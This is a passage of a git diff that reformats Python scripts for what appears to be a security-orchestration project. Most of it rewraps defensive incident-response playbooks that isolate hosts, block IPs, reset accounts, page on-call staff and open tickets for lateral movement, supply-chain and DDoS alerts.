@@ -1162,90 +1210,89 @@ def build_lateral_movement() -> list[dict[str, Any]]:
"Triggered by remote service creation patterns indicative of "
"PsExec / Impacket. Isolates target and source, investigates."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["lateral", "endpoint", "mitre.t1021.002"],
steps=[
isolate_host("iso-dst", "Isolate target host", "alert.dst_host"),
isolate_host("iso-src", "Isolate source host", "alert.src_host"),
investigate("inv", "Investigate lateral chain", focus="forensics"),
- notify("n1", "Page on-call", "pagerduty",
- message="PsExec lateral {{alert.src_host}} -> {{alert.dst_host}}. "
- "Both isolated.",
- service_env="PD_SOC_KEY"),
- ticket("t1", "Open lateral ticket",
- "P1", "PsExec lateral: {{alert.src_host}} -> {{alert.dst_host}}"),
+ notify(
+ "n1",
+ "Page on-call",
+ "pagerduty",
+ message="PsExec lateral {{alert.src_host}} -> {{alert.dst_host}}. " "Both isolated.",
+ service_env="PD_SOC_KEY",
+ ),
+ ticket("t1", "Open lateral ticket", "P1", "PsExec lateral: {{alert.src_host}} -> {{alert.dst_host}}"),
],
),
make_playbook(
pid="lateral-rdp-spray-v1",
name="Lateral: RDP Spray",
description=(
- "Triggered when one host opens RDP to >N hosts in <T window. "
- "Blocks the source IP, isolates host, investigates."
+ "Triggered when one host opens RDP to >N hosts in <T window. " "Blocks the source IP, isolates host, investigates."
),
- category=cat, severity=["high"],
+ category=cat,
+ severity=["high"],
tags=["lateral", "rdp", "mitre.t1021.001"],
steps=[
block_ip("b1", "Block source IP", "alert.src_ip", "24h"),
isolate_host("iso", "Isolate source host", "alert.src_host"),
- investigate("inv", "Investigate RDP spray",
- focus="forensics"),
- notify("n1", "Notify SOC", "slack",
- message="RDP spray from {{alert.src_host}} blocked.",
- webhook_env="SLACK_SOC_WEBHOOK"),
- ticket("t1", "Open RDP-spray ticket",
- "P2", "RDP spray: {{alert.src_host}}"),
+ investigate("inv", "Investigate RDP spray", focus="forensics"),
+ notify("n1", "Notify SOC", "slack", message="RDP spray from {{alert.src_host}} blocked.", webhook_env="SLACK_SOC_WEBHOOK"),
+ ticket("t1", "Open RDP-spray ticket", "P2", "RDP spray: {{alert.src_host}}"),
],
),
make_playbook(
pid="lateral-kerberoasting-v1",
name="Lateral: Kerberoasting",
description=(
- "Triggered by abnormal SPN-ticket request volume from a single "
- "user. Resets impacted service-account credentials."
+ "Triggered by abnormal SPN-ticket request volume from a single " "user. Resets impacted service-account credentials."
),
- category=cat, severity=["high"],
+ category=cat,
+ severity=["high"],
tags=["lateral", "ad", "mitre.t1558.003"],
steps=[
- investigate("inv", "Investigate kerberoasting",
- focus="identity"),
- http("reset-svc", "Reset impacted SVC accounts",
- url="${IDP_BASE_URL}/service-accounts/bulk-reset",
- method="POST",
- body_template='{"accounts": {{context.impacted_svc_accounts}}}'),
- http("disable-user", "Disable suspect user",
- url="${IDP_BASE_URL}/users/{{alert.user}}/disable",
- method="POST"),
- notify("n1", "Page identity team", "pagerduty",
- message="Kerberoasting by {{alert.user}}. SVC accounts reset.",
- service_env="PD_IDENTITY_KEY"),
- ticket("t1", "Open kerberoast ticket",
- "P1", "Kerberoasting: {{alert.user}}"),
+ investigate("inv", "Investigate kerberoasting", focus="identity"),
+ http(
+ "reset-svc",
+ "Reset impacted SVC accounts",
+ url="${IDP_BASE_URL}/service-accounts/bulk-reset",
+ method="POST",
+ body_template='{"accounts": {{context.impacted_svc_accounts}}}',
+ ),
+ http("disable-user", "Disable suspect user", url="${IDP_BASE_URL}/users/{{alert.user}}/disable", method="POST"),
+ notify(
+ "n1",
+ "Page identity team",
+ "pagerduty",
+ message="Kerberoasting by {{alert.user}}. SVC accounts reset.",
+ service_env="PD_IDENTITY_KEY",
+ ),
+ ticket("t1", "Open kerberoast ticket", "P1", "Kerberoasting: {{alert.user}}"),
],
),
make_playbook(
pid="lateral-pass-the-hash-v1",
name="Lateral: Pass-The-Hash",
- description=(
- "Triggered by NTLM relay / PTH detection. Disables the user "
- "and isolates source + destination."
- ),
- category=cat, severity=["critical"],
+ description=("Triggered by NTLM relay / PTH detection. Disables the user " "and isolates source + destination."),
+ category=cat,
+ severity=["critical"],
tags=["lateral", "ad", "mitre.t1550.002"],
steps=[
- http("disable-user", "Disable account",
- url="${IDP_BASE_URL}/users/{{alert.user}}/disable",
- method="POST"),
+ http("disable-user", "Disable account", url="${IDP_BASE_URL}/users/{{alert.user}}/disable", method="POST"),
isolate_host("iso-src", "Isolate source host", "alert.src_host"),
isolate_host("iso-dst", "Isolate destination host", "alert.dst_host"),
- investigate("inv", "Investigate PTH chain",
- focus="forensics"),
- notify("n1", "Page on-call", "pagerduty",
- message="PTH detected: {{alert.user}} {{alert.src_host}} -> "
- "{{alert.dst_host}}. Account disabled.",
- service_env="PD_SOC_KEY"),
- ticket("t1", "Open PTH ticket",
- "P1", "PTH: {{alert.user}}"),
+ investigate("inv", "Investigate PTH chain", focus="forensics"),
+ notify(
+ "n1",
+ "Page on-call",
+ "pagerduty",
+ message="PTH detected: {{alert.user}} {{alert.src_host}} -> " "{{alert.dst_host}}. Account disabled.",
+ service_env="PD_SOC_KEY",
+ ),
+ ticket("t1", "Open PTH ticket", "P1", "PTH: {{alert.user}}"),
],
),
make_playbook(
@@ -1256,21 +1303,26 @@ def build_lateral_movement() -> list[dict[str, Any]]:
"an asset in a separately-classified domain in a way that violates "
"policy. Segments the network and investigates."
),
- category=cat, severity=["critical"],
+ category=cat,
+ severity=["critical"],
tags=["lateral", "trust", "mitre.t1021"],
steps=[
- http("segment", "Apply network segmentation rule",
- url="${FW_URL}/policy/segment",
- method="POST",
- body_template=('{"src":"{{alert.src_host}}",'
- '"dst_domain":"{{alert.dst_domain}}"}')),
- investigate("inv", "Investigate cross-domain movement",
- focus="forensics"),
- notify("n1", "Page on-call", "pagerduty",
- message="Cross-domain lateral {{alert.user}}. Segmentation applied.",
- service_env="PD_SOC_KEY"),
- ticket("t1", "Open cross-domain ticket",
- "P1", "Cross-domain lateral: {{alert.user}}"),
+ http(
+ "segment",
+ "Apply network segmentation rule",
+ url="${FW_URL}/policy/segment",
+ method="POST",
+ body_template=('{"src":"{{alert.src_host}}",' '"dst_domain":"{{alert.dst_domain}}"}'),
+ ),
+ investigate("inv", "Investigate cross-domain movement", focus="forensics"),
+ notify(
+ "n1",
+ "Page on-call",
+ "pagerduty",
+ message="Cross-domain lateral {{alert.user}}. Segmentation applied.",
+ service_env="PD_SOC_KEY",
+ ),
+ ticket("t1", "Open cross-domain ticket", "P1", "Cross-domain lateral: {{alert.user}}"),
],
),
]
@@ -1286,56 +1338,67 @@ def build_supply_chain() -> list[dict[str, Any]]:
"Triggered when a published npm package matches a known-bad list. "
"Blocks installs at registry-mirror, audits org installs."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["supply-chain", "npm", "mitre.t1195"],
steps=[
- enrich("e1", "Enrich package reputation",
- "alert.package_name"),
- http("block", "Add package to mirror block-list",
- url="${REGISTRY_URL}/policy/block",
- method="POST",
- body_template=('{"ecosystem":"npm",'
- '"package":"{{alert.package_name}}",'
- '"version":"{{alert.package_version}}"}')),
- http("audit-installs", "List org installs",
- url="${SCA_URL}/installs?ecosystem=npm&package={{alert.package_name}}",
- method="GET"),
- investigate("inv", "Investigate supply-chain blast radius",
- focus="cloud"),
- notify("n1", "Page eng-sec", "pagerduty",
- message="Malicious npm {{alert.package_name}} blocked. "
- "{{context.install_count}} installs found.",
- service_env="PD_ENGSEC_KEY"),
- ticket("t1", "Open supply-chain ticket",
- "P1", "Malicious npm: {{alert.package_name}}"),
+ enrich("e1", "Enrich package reputation", "alert.package_name"),
+ http(
+ "block",
+ "Add package to mirror block-list",
+ url="${REGISTRY_URL}/policy/block",
+ method="POST",
+ body_template=('{"ecosystem":"npm",' '"package":"{{alert.package_name}}",' '"version":"{{alert.package_version}}"}'),
+ ),
+ http(
+ "audit-installs",
+ "List org installs",
+ url="${SCA_URL}/installs?ecosystem=npm&package={{alert.package_name}}",
+ method="GET",
+ ),
+ investigate("inv", "Investigate supply-chain blast radius", focus="cloud"),
+ notify(
+ "n1",
+ "Page eng-sec",
+ "pagerduty",
+ message="Malicious npm {{alert.package_name}} blocked. " "{{context.install_count}} installs found.",
+ service_env="PD_ENGSEC_KEY",
+ ),
+ ticket("t1", "Open supply-chain ticket", "P1", "Malicious npm: {{alert.package_name}}"),
],
),
make_playbook(
pid="supply-pypi-typosquat-v1",
name="Supply Chain: PyPI Typosquat",
description=(
- "Triggered when a typosquat package is observed in CI installs. "
- "Pulls install lock to canonical name and audits."
+ "Triggered when a typosquat package is observed in CI installs. " "Pulls install lock to canonical name and audits."
),
- category=cat, severity=["high"],
+ category=cat,
+ severity=["high"],
tags=["supply-chain", "pypi", "mitre.t1195"],
steps=[
- http("block", "Block typosquat at mirror",
- url="${REGISTRY_URL}/policy/block",
- method="POST",
- body_template=('{"ecosystem":"pypi",'
- '"package":"{{alert.package_name}}"}')),
- http("audit", "List repos with this dependency",
- url="${SCA_URL}/repos?ecosystem=pypi&package={{alert.package_name}}",
- method="GET"),
- investigate("inv", "Investigate typosquat",
- focus="cloud"),
- notify("n1", "Notify eng team", "slack",
- message="PyPI typosquat {{alert.package_name}} blocked. "
- "{{context.repo_count}} repos affected.",
- webhook_env="SLACK_ENG_WEBHOOK"),
- ticket("t1", "Open typosquat ticket",
- "P2", "PyPI typosquat: {{alert.package_name}}"),
+ http(
+ "block",
+ "Block typosquat at mirror",
+ url="${REGISTRY_URL}/policy/block",
+ method="POST",
+ body_template=('{"ecosystem":"pypi",' '"package":"{{alert.package_name}}"}'),
+ ),
+ http(
+ "audit",
+ "List repos with this dependency",
+ url="${SCA_URL}/repos?ecosystem=pypi&package={{alert.package_name}}",
+ method="GET",
+ ),
+ investigate("inv", "Investigate typosquat", focus="cloud"),
+ notify(
+ "n1",
+ "Notify eng team",
+ "slack",
+ message="PyPI typosquat {{alert.package_name}} blocked. " "{{context.repo_count}} repos affected.",
+ webhook_env="SLACK_ENG_WEBHOOK",
+ ),
+ ticket("t1", "Open typosquat ticket", "P2", "PyPI typosquat: {{alert.package_name}}"),
],
),
make_playbook(
@@ -1346,24 +1409,27 @@ def build_supply_chain() -> list[dict[str, Any]]:
"unexpectedly or matches a compromise advisory. Pin to "
"last-known-good and audit."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["supply-chain", "github", "mitre.t1195.002"],
steps=[
- http("pin", "Pin Action to last-known-good SHA",
- url="${CI_URL}/actions/pin",
- method="POST",
- body_template=('{"action":"{{alert.action}}",'
- '"sha":"{{alert.lkg_sha}}"}')),
- http("audit", "List workflows using this Action",
- url="${CI_URL}/workflows?action={{alert.action}}",
- method="GET"),
- investigate("inv", "Investigate Action compromise",
- focus="cloud"),
- notify("n1", "Page eng-sec", "pagerduty",
- message="GH Action {{alert.action}} pinned to {{alert.lkg_sha}}.",
- service_env="PD_ENGSEC_KEY"),
- ticket("t1", "Open Action-compromise ticket",
- "P1", "GH Action compromise: {{alert.action}}"),
+ http(
+ "pin",
+ "Pin Action to last-known-good SHA",
+ url="${CI_URL}/actions/pin",
+ method="POST",
+ body_template=('{"action":"{{alert.action}}",' '"sha":"{{alert.lkg_sha}}"}'),
+ ),
+ http("audit", "List workflows using this Action", url="${CI_URL}/workflows?action={{alert.action}}", method="GET"),
+ investigate("inv", "Investigate Action compromise", focus="cloud"),
+ notify(
+ "n1",
+ "Page eng-sec",
+ "pagerduty",
+ message="GH Action {{alert.action}} pinned to {{alert.lkg_sha}}.",
+ service_env="PD_ENGSEC_KEY",
+ ),
+ ticket("t1", "Open Action-compromise ticket", "P1", "GH Action compromise: {{alert.action}}"),
],
),
make_playbook(
@@ -1374,22 +1440,26 @@ def build_supply_chain() -> list[dict[str, Any]]:
"internal vendor inventory. Blocks vendor IPs, opens procurement "
"review."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["supply-chain", "vendor", "mitre.t1199"],
steps=[
- http("block-vendor-ips", "Block vendor IP ranges",
- url="${FW_URL}/policy/block-vendor",
- method="POST",
- body_template='{"vendor":"{{alert.vendor}}"}'),
- investigate("inv", "Investigate vendor exposure",
- focus="cloud"),
- notify("n1", "Notify procurement + sec", "slack",
- message="Vendor {{alert.vendor}} breach. IPs blocked. "
- "Review contracts and integrations.",
- webhook_env="SLACK_PROCUREMENT_WEBHOOK"),
- ticket("t1", "Open vendor-breach ticket",
- "P1", "Vendor breach: {{alert.vendor}}",
- queue="procurement"),
+ http(
+ "block-vendor-ips",
+ "Block vendor IP ranges",
+ url="${FW_URL}/policy/block-vendor",
+ method="POST",
+ body_template='{"vendor":"{{alert.vendor}}"}',
+ ),
+ investigate("inv", "Investigate vendor exposure", focus="cloud"),
+ notify(
+ "n1",
+ "Notify procurement + sec",
+ "slack",
+ message="Vendor {{alert.vendor}} breach. IPs blocked. " "Review contracts and integrations.",
+ webhook_env="SLACK_PROCUREMENT_WEBHOOK",
+ ),
+ ticket("t1", "Open vendor-breach ticket", "P1", "Vendor breach: {{alert.vendor}}", queue="procurement"),
],
),
make_playbook(
@@ -1399,20 +1469,26 @@ def build_supply_chain() -> list[dict[str, Any]]:
"Triggered when production infra deviates from IaC source of "
"truth in a security-relevant way. Reverts to declared state."
),
- category=cat, severity=["medium", "high"],
+ category=cat,
+ severity=["medium", "high"],
tags=["supply-chain", "iac", "drift"],
steps=[
- http("revert", "Revert to declared IaC state",
- url="${IAC_URL}/apply",
- method="POST",
- body_template='{"resource":"{{alert.resource_id}}"}'),
- investigate("inv", "Investigate drift cause",
- focus="cloud"),
- notify("n1", "Notify platform team", "slack",
- message="IaC drift {{alert.resource_id}} reverted.",
- webhook_env="SLACK_PLATFORM_WEBHOOK"),
- ticket("t1", "Open IaC-drift ticket",
- "P3", "IaC drift: {{alert.resource_id}}"),
+ http(
+ "revert",
+ "Revert to declared IaC state",
+ url="${IAC_URL}/apply",
+ method="POST",
+ body_template='{"resource":"{{alert.resource_id}}"}',
+ ),
+ investigate("inv", "Investigate drift cause", focus="cloud"),
+ notify(
+ "n1",
+ "Notify platform team",
+ "slack",
+ message="IaC drift {{alert.resource_id}} reverted.",
+ webhook_env="SLACK_PLATFORM_WEBHOOK",
+ ),
+ ticket("t1", "Open IaC-drift ticket", "P3", "IaC drift: {{alert.resource_id}}"),
],
),
]
@@ -1424,103 +1500,115 @@ def build_ddos() -> list[dict[str, Any]]:
make_playbook(
pid="ddos-volumetric-l3-v1",
name="DDoS: Volumetric L3/L4",
- description=(
- "Triggered by volumetric flood detection at edge. Engages "
- "scrubbing provider and pages on-call."
- ),
- category=cat, severity=["critical"],
+ description=("Triggered by volumetric flood detection at edge. Engages " "scrubbing provider and pages on-call."),
+ category=cat,
+ severity=["critical"],
tags=["ddos", "network", "mitre.t1498"],
steps=[
- http("scrub-on", "Engage DDoS scrubbing",
- url="${DDOS_URL}/scrubbing/enable",
- method="POST",
- body_template='{"target":"{{alert.target}}"}'),
- investigate("inv", "Investigate attack signature",
- focus="forensics"),
- notify("n1", "Page network on-call", "pagerduty",
- message="L3/L4 DDoS on {{alert.target}}. Scrubbing engaged.",
- service_env="PD_NETWORK_KEY"),
- ticket("t1", "Open DDoS ticket",
- "P1", "L3/L4 DDoS: {{alert.target}}"),
+ http(
+ "scrub-on",
+ "Engage DDoS scrubbing",
+ url="${DDOS_URL}/scrubbing/enable",
+ method="POST",
+ body_template='{"target":"{{alert.target}}"}',
+ ),
+ investigate("inv", "Investigate attack signature", focus="forensics"),
+ notify(
+ "n1",
+ "Page network on-call",
+ "pagerduty",
+ message="L3/L4 DDoS on {{alert.target}}. Scrubbing engaged.",
+ service_env="PD_NETWORK_KEY",
+ ),
+ ticket("t1", "Open DDoS ticket", "P1", "L3/L4 DDoS: {{alert.target}}"),
],
),
make_playbook(
pid="ddos-app-layer-l7-v1",
name="DDoS: Application Layer L7",
- description=(
- "Triggered by anomalous L7 request rate or pattern. Engages "
- "WAF rate-limit rule and challenge-page."
- ),
- category=cat, severity=["high", "critical"],
+ description=("Triggered by anomalous L7 request rate or pattern. Engages " "WAF rate-limit rule and challenge-page."),
+ category=cat,
+ severity=["high", "critical"],
tags=["ddos", "waf", "mitre.t1498.001"],
steps=[
- http("waf-rl", "Apply WAF rate-limit",
- url="${WAF_URL}/rate-limit",
- method="POST",
- body_template=('{"target":"{{alert.target}}",'
- '"rps":{{alert.threshold_rps}}}')),
- http("challenge", "Enable challenge page",
- url="${WAF_URL}/challenge/enable",
- method="POST",
- body_template='{"target":"{{alert.target}}"}'),
- investigate("inv", "Investigate L7 signature",
- focus="forensics"),
- notify("n1", "Notify SOC + platform", "slack",
- message="L7 DDoS on {{alert.target}}. WAF rate-limit + challenge on.",
- webhook_env="SLACK_SOC_WEBHOOK"),
- ticket("t1", "Open L7 DDoS ticket",
- "P2", "L7 DDoS: {{alert.target}}"),
+ http(
+ "waf-rl",
+ "Apply WAF rate-limit",
+ url="${WAF_URL}/rate-limit",
+ method="POST",
+ body_template=('{"target":"{{alert.target}}",' '"rps":{{alert.threshold_rps}}}'),
+ ),
+ http(
+ "challenge",
+ "Enable challenge page",
+ url="${WAF_URL}/challenge/enable",
+ method="POST",
+ body_template='{"target":"{{alert.target}}"}',
+ ),
+ investigate("inv", "Investigate L7 signature", focus="forensics"),
+ notify(
+ "n1",
+ "Notify SOC + platform",
+ "slack",
+ message="L7 DDoS on {{alert.target}}. WAF rate-limit + challenge on.",
+ webhook_env="SLACK_SOC_WEBHOOK",
+ ),
+ ticket("t1", "Open L7 DDoS ticket", "P2", "L7 DDoS: {{alert.target}}"),
],
),
make_playbook(
pid="ddos-amplification-dns-v1",
name="DDoS: DNS Amplification",
description=(
- "Triggered when an inbound spike of crafted DNS queries hits "
- "an authoritative server. Sinkholes spoofed sources."
+ "Triggered when an inbound spike of crafted DNS queries hits " "an authoritative server. Sinkholes spoofed sources."
),
- category=cat, severity=["high"],
+ category=cat,
+ severity=["high"],
tags=["ddos", "dns", "mitre.t1498.002"],
steps=[
- http("sinkhole", "Sinkhole spoofed sources",
- url="${DNS_URL}/sinkhole-batch",
- method="POST",
- body_template='{"src_ips": {{alert.spoofed_sources}}}'),
- investigate("inv", "Investigate amplification",
- focus="forensics"),
- notify("n1", "Notify network team", "slack",
- message="DNS amplification mitigated. "
- "{{context.sinkholed_count}} sources sinkholed.",
- webhook_env="SLACK_NETWORK_WEBHOOK"),
- ticket("t1", "Open DNS-amp ticket",
- "P2", "DNS amplification: {{alert.target}}"),
+ http(
+ "sinkhole",
+ "Sinkhole spoofed sources",
+ url="${DNS_URL}/sinkhole-batch",
+ method="POST",
+ body_template='{"src_ips": {{alert.spoofed_sources}}}',
+ ),
+ investigate("inv", "Investigate amplification", focus="forensics"),
+ notify(
+ "n1",
+ "Notify network team",
+ "slack",
+ message="DNS amplification mitigated. " "{{context.sinkholed_count}} sources sinkholed.",
+ webhook_env="SLACK_NETWORK_WEBHOOK",
+ ),
+ ticket("t1", "Open DNS-amp ticket", "P2", "DNS amplification: {{alert.target}}"),
],
),
make_playbook(
pid="ddos-syn-flood-v1",
name="DDoS: SYN Flood",
- description=(
- "Triggered by SYN flood pattern at edge. Enables SYN cookies "
- "and increases backend capacity."
- ),
- category=cat, severity=["high", "critical"],
+ description=("Triggered by SYN flood pattern at edge. Enables SYN cookies " "and increases backend capacity."),
+ category=cat,
+ severity=["high", "critical"],
tags=["ddos", "network", "mitre.t1498"],
steps=[
- http("syn-cookies", "Enable SYN cookies at edge",
- url="${EDGE_URL}/syn-cookies/enable",
- method="POST"),
- http("scale", "Scale backend capacity",
- url="${PLATFORM_URL}/scale",
- method="POST",
- body_template=('{"target":"{{alert.target}}",'
- '"replicas":"+50%"}')),
- investigate("inv", "Investigate flood",
- focus="forensics"),
- notify("n1", "Notify network on-call", "pagerduty",
- message="SYN flood on {{alert.target}}. SYN cookies + scale-out.",
- service_env="PD_NETWORK_KEY"),
- ticket("t1", "Open SYN-flood ticket",
- "P1", "SYN flood: {{alert.target}}"),
+ http("syn-cookies", "Enable SYN cookies at edge", url="${EDGE_URL}/syn-cookies/enable", method="POST"),
+ http(
+ "scale",
+ "Scale backend capacity",
+ url="${PLATFORM_URL}/scale",
+ method="POST",
+ body_template=('{"target":"{{alert.target}}",' '"replicas":"+50%"}'),
+ ),
+ investigate("inv", "Investigate flood", focus="forensics"),
+ notify(
+ "n1",
+ "Notify network on-call",
+ "pagerduty",
+ message="SYN flood on {{alert.target}}. SYN cookies + scale-out.",
+ service_env="PD_NETWORK_KEY",
+ ),
+ ticket("t1", "Open SYN-flood ticket", "P1", "SYN flood: {{alert.target}}"),
],
),
make_playbook(
@@ -1531,25 +1619,34 @@ def build_ddos() -> list[dict[str, Any]]:
"Combines DDoS + credential-stuffing response: WAF challenge, "
"rate-limit, source-IP block."
),
- category=cat, severity=["high"],
+ category=cat,
+ severity=["high"],
tags=["ddos", "ato", "mitre.t1110.004"],
steps=[
- http("challenge", "Enable WAF challenge on /login",
- url="${WAF_URL}/challenge/enable",
- method="POST",
- body_template='{"path":"/login"}'),
- http("rate-limit", "Apply per-IP rate-limit",
- url="${WAF_URL}/rate-limit",
- method="POST",
- body_template=('{"path":"/login","per":"ip","rps":5}')),
+ http(
+ "challenge",
+ "Enable WAF challenge on /login",
+ url="${WAF_URL}/challenge/enable",
+ method="POST",
+ body_template='{"path":"/login"}',
+ ),
+ http(
+ "rate-limit",
+ "Apply per-IP rate-limit",
+ url="${WAF_URL}/rate-limit",
+ method="POST",
+ body_template=('{"path":"/login","per":"ip","rps":5}'),
+ ),
block_ip("b1", "Block top abusers", "alert.top_abuser_ip", "24h"),
- investigate("inv", "Investigate cred-stuffing campaign",
- focus="identity"),
- notify("n1", "Notify SOC", "slack",
- message="Auth-endpoint credential stuffing on /login mitigated.",
- webhook_env="SLACK_SOC_WEBHOOK"),
- ticket("t1", "Open auth-DDoS ticket",
- "P2", "Auth DDoS: {{alert.target}}"),
+ investigate("inv", "Investigate cred-stuffing campaign", focus="identity"),
+ notify(
+ "n1",
+ "Notify SOC",
+ "slack",
+ message="Auth-endpoint credential stuffing on /login mitigated.",
+ webhook_env="SLACK_SOC_WEBHOOK",
+ ),
+ ticket("t1", "Open auth-DDoS ticket", "P2", "Auth DDoS: {{alert.target}}"),
],
),
]
@@ -1574,9 +1671,15 @@ def main() -> int:
]
expected = {
- "account-takeover": 5, "ransomware": 5, "bec": 5,
- "insider-risk": 5, "cloud-misconfig": 10, "data-exfil": 5,
- "lateral-movement": 5, "supply-chain": 5, "ddos": 5,
+ "account-takeover": 5,
+ "ransomware": 5,
+ "bec": 5,
+ "insider-risk": 5,
+ "cloud-misconfig": 10,
+ "data-exfil": 5,
+ "lateral-movement": 5,
+ "supply-chain": 5,
+ "ddos": 5,
}
# Do NOT remove the entire pack root – hand-crafted playbooks live alongside
@@ -1593,10 +1696,7 @@ def main() -> int:
playbooks = fn()
if len(playbooks) != expected[cat]:
- raise SystemExit(
- f"category {cat}: expected {expected[cat]} playbooks, "
- f"got {len(playbooks)}"
- )
+ raise SystemExit(f"category {cat}: expected {expected[cat]} playbooks, " f"got {len(playbooks)}")
for pb in playbooks:
if pb["id"] in seen_ids:
diff --git a/scripts/generate_runbook.py b/scripts/generate_runbook.py
index af2dd5596..28a7a3ff6 100755
--- a/scripts/generate_runbook.py
+++ b/scripts/generate_runbook.py
@@ -43,14 +43,15 @@ LOG = logging.getLogger(__name__)
# Runbook definitions
# ---------------------------------------------------------------------------
+
@dataclass
class RunbookSpec:
- id: str # e.g. "RB-001"
- slug: str # e.g. "api-high-latency"
+ id: str # e.g. "RB-001"
+ slug: str # e.g. "api-high-latency"
title: str
- trigger: str # human-readable trigger condition
- service_filter: str # service name to query traces for
- operation_filter: str # span operation / route filter (substring match)
+ trigger: str # human-readable trigger condition
+ service_filter: str # service name to query traces for
+ operation_filter: str # span operation / route filter (substring match)
impact: str
escalation: str
extra_steps: list[str] = field(default_factory=list)
@@ -155,6 +156,7 @@ RUNBOOK_SPECS: list[RunbookSpec] = [
# Trace fetching (Grafana Tempo HTTP API)
# ---------------------------------------------------------------------------
+
def _headers(bearer: str | None) -> dict[str, str]:
h = {"Accept": "application/json"}
if bearer:
@@ -346,6 +348,7 @@ def render_runbook(
# TOC updater
# ---------------------------------------------------------------------------
+
def update_toc(output_dir: Path) -> None:
"""Rewrite the runbook index table in docs/operations/multi-region.md."""
runbooks = sorted(output_dir.glob("RB-*.md"))
@@ -372,7 +375,7 @@ def update_toc(output_dir: Path) -> None:
marker_end = "\nTo regenerate all runbooks:"
if marker_start in content and marker_end in content:
before = content[: content.index(marker_start) + len(marker_start)]
- after = content[content.index(marker_end):]
+ after = content[content.index(marker_end) :]
new_content = before + "\n" + "\n".join(toc_lines) + "\n" + after
multi_region_md.write_text(new_content)
LOG.info("Updated TOC in %s", multi_region_md)
@@ -382,11 +385,14 @@ def update_toc(output_dir: Path) -> None:
# CLI
# ---------------------------------------------------------------------------
+
def parse_args() -> argparse.Namespace:
p = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
p.add_argument("--output", default="docs/operations/runbooks/", help="Output directory for runbook Markdown files.")
p.add_argument("--lookback-hours", type=int, default=168, help="Hours of trace history to analyse (default: 168 = 1 week).")
- p.add_argument("--otel-endpoint", default=os.getenv("OTEL_ENDPOINT", "http://localhost:3100"), help="Grafana Tempo / Jaeger HTTP endpoint.")
+ p.add_argument(
+ "--otel-endpoint", default=os.getenv("OTEL_ENDPOINT", "http://localhost:3100"), help="Grafana Tempo / Jaeger HTTP endpoint."
+ )
p.add_argument("--bearer", default=os.getenv("OTEL_BEARER", ""), help="Bearer token for authenticated backends.")
p.add_argument("--runbook", help="Generate only this runbook ID (e.g. RB-001). Omit to generate all.")
p.add_argument("--update-toc", action="store_true", help="Refresh the runbook table in docs/operations/multi-region.md and exit.")
diff --git a/scripts/inject_scenario.py b/scripts/inject_scenario.py
index 29daeb41b..40b2f6bb1 100644
--- a/scripts/inject_scenario.py
+++ b/scripts/inject_scenario.py
@@ -16,6 +16,7 @@ Stages:
Usage:
python3 scripts/inject_scenario.py [--api-url http://localhost:8000] [--delay 0.5]
"""
+
from __future__ import annotations
import argparse
diff --git a/scripts/perf/throughput_harness.py b/scripts/perf/throughput_harness.py
index 75ca7c4ee..8983c671d 100644
--- a/scripts/perf/throughput_harness.py
+++ b/scripts/perf/throughput_harness.py
@@ -56,9 +56,7 @@ def _synthetic_event(i: int) -> dict:
"actor": {"user": {"name": f"user{i % 200}"}},
"src_endpoint": {"ip": f"10.0.{i % 255}.{(i * 7) % 255}"},
"file": {"fingerprints": [{"value": f"{i:064x}"}]},
- "mitre_attck": [
- {"technique_id": "T1003", "technique_name": "OS Credential Dumping", "tactic_names": ["Credential Access"]}
- ],
+ "mitre_attck": [{"technique_id": "T1003", "technique_name": "OS Credential Dumping", "tactic_names": ["Credential Access"]}],
},
}
diff --git a/scripts/render_eval_charts.py b/scripts/render_eval_charts.py
index 6bf3da33d..7c1fb0681 100755
--- a/scripts/render_eval_charts.py
+++ b/scripts/render_eval_charts.py
@@ -37,6 +37,7 @@ SVG charts to ``apps/docs/docs/benchmark-charts/``.
The SVG renderer is stdlib-only (hand-rolled emitter, no matplotlib) so
it runs in any CI box that has Python.
"""
+
from __future__ import annotations
import argparse
@@ -141,9 +142,7 @@ def _render_substrate_summary(report: dict[str, Any]) -> str:
per_tpl = suite.get("per_template") or {}
per_tpl_cell = _fmt_value(per_tpl.get("value"), as_pct=as_pct) if per_tpl else "n/a"
verdict = "PASS" if suite.get("passed") else "FAIL"
- lines.append(
- f"| `{name}` | {metric} | {value_cell} | {per_tpl_cell} | {target_cell} | **{verdict}** |"
- )
+ lines.append(f"| `{name}` | {metric} | {value_cell} | {per_tpl_cell} | {target_cell} | **{verdict}** |")
overall = "ALL GATES PASSED" if report.get("all_passed") else "REGRESSION DETECTED"
lines += ["", f"**Overall:** {overall}", ""]
@@ -176,8 +175,7 @@ def _render_per_investigation_block(per_inv: dict[str, Any]) -> str:
":::",
"",
f"_Model assumed for the rate-card projection: `{model}`_ ",
- f"_Rate (USD per 1M tokens): input ${rate.get('input', 0):.2f}, "
- f"output ${rate.get('output', 0):.2f}_",
+ f"_Rate (USD per 1M tokens): input ${rate.get('input', 0):.2f}, " f"output ${rate.get('output', 0):.2f}_",
"",
"## Tokens per investigation (substrate budget)",
"",
@@ -329,10 +327,7 @@ def _render_wet_eval_real(wet: dict[str, Any]) -> str:
sections.append("")
if len(sections) == 2:
- sections.append(
- "_(wet_eval block is present but contains no latency / tokens /"
- " usd sub-blocks; nothing to render)_"
- )
+ sections.append("_(wet_eval block is present but contains no latency / tokens /" " usd sub-blocks; nothing to render)_")
sections.append("")
return "\n".join(sections)
@@ -374,15 +369,15 @@ _SVG_PAD = {"top": 64, "right": 32, "bottom": 64, "left": 88}
# Colour-blind-friendly palette pinned to the Docusaurus light theme. The
# charts read fine on dark themes too because the background is explicit.
_SVG_PALETTE = {
- "primary": "#3b82f6",
- "accent": "#10b981",
- "warn": "#f59e0b",
- "danger": "#ef4444",
- "axis": "#94a3b8",
- "label": "#0f172a",
+ "primary": "#3b82f6",
+ "accent": "#10b981",
+ "warn": "#f59e0b",
+ "danger": "#ef4444",
+ "axis": "#94a3b8",
+ "label": "#0f172a",
"label_muted": "#475569",
- "grid": "#e2e8f0",
- "bg": "#ffffff",
+ "grid": "#e2e8f0",
+ "bg": "#ffffff",
}
@@ -397,13 +392,16 @@ def _svg_open(width: int, height: int, *, title: str) -> list[str]:
f'viewBox="0 0 {width} {height}" '
f'width="{width}" height="{height}" '
